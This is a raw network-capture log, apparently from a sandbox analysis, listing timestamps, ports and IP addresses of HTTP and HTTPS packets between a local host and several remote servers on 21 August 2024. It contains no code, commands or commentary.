Aug 21, 2024 08:32:16.178456068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178462029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178467035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178473949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178477049 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178487062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178504944 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178504944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178536892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178536892 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178711891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178721905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178741932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178750038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178764105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178771019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178778887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178786993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178793907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178801060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178801060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178801060 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178812027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178844929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178951025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179011106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179018974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179024935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179030895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179037094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179044008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179069042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179110050 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179146051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179152966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179161072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179167986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179174900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179189920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179233074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179245949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179255962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179265022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179271936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179280043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179290056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179291964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179291964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179296970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179306984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179312944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179333925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179421902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179506063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179513931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179523945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179532051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179547071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179554939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179557085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179574013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179595947 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179609060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179620028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179621935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179627895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179635048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179642916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179653883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179661989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179666996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179672956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179673910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179728985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179728985 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179729939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.179934978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179944038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179960012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179968119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179980993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179989100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.179996967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180005074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180011988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180017948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180020094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180030107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180038929 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180038929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180038929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180061102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180084944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180260897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180267096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180273056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180279016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180285931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180291891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180304050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180310011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180319071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.180325031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180356026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.180356026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.185995102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186003923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186012030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186086893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186111927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186120033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186136007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186144114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186172962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186204910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186240911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186250925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186264992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186315060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186328888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186336040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186336994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186348915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186359882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186393976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186400890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186400890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186479092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186485052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186496019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186501026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186511993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.186536074 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.186558962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.202632904 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.202768087 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.203747988 CEST	49735	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.203779936 CEST	443	49735	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:16.204435110 CEST	49735	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.204767942 CEST	49735	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.204778910 CEST	443	49735	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:16.205351114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205368996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205375910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205382109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205389023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205425024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.205459118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.205461979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205471992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.205527067 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.207699060 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:16.207870960 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:16.209836006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209846020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209852934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209867001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209872961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209881067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209888935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209898949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.209904909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.209945917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.209995985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210001945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210032940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210056067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210083961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210099936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210114002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210120916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210134983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210140944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210150003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210164070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210191965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210211992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210222006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210253000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210259914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210272074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210273027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.210298061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.210762978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211090088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211101055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211116076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211162090 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211164951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211170912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211179018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211194038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211226940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211539984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211549997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211559057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211597919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211611986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211641073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211647034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211658955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211663961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211669922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211673975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.211692095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.211719036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.212507963 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212522984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212589979 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.212596893 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212639093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212656975 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212671041 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.212685108 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.212698936 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.212732077 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.213243008 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213258028 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213344097 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.213349104 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213567972 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.213815928 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213829994 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213907003 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.213912964 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.213974953 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.214181900 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.214195967 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.214306116 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.214313984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.214355946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.217010975 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.217026949 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.217128992 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.217135906 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.217273951 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.222686052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222693920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222707987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222759962 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.222815990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222862005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222871065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222872972 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.222883940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.222914934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.222940922 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.223877907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.223886967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.223897934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.223942041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.223965883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.223984957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.223990917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224004984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224011898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224021912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224045038 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224067926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224159956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224169016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224179029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224184990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224215984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224239111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224297047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224306107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224313021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224320889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224337101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224342108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224348068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224353075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224359035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224364042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224364996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224376917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224385023 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224410057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224452972 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224626064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224632978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224643946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224648952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224661112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224667072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224678993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224683046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224685907 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224698067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224703074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224709034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224718094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224724054 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224728107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.224742889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224767923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.224787951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.225447893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225459099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225474119 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225481987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225519896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225532055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225534916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225539923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225527048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.225553036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225558996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225569963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225577116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225584030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225596905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225617886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225903034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225909948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225918055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225927114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.225964069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.225972891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226032972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226047039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226058960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226064920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226109028 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226169109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226178885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226186991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226195097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226202965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226211071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226218939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226226091 CEST	80	49722	162.241.203.25	192.168.2.6
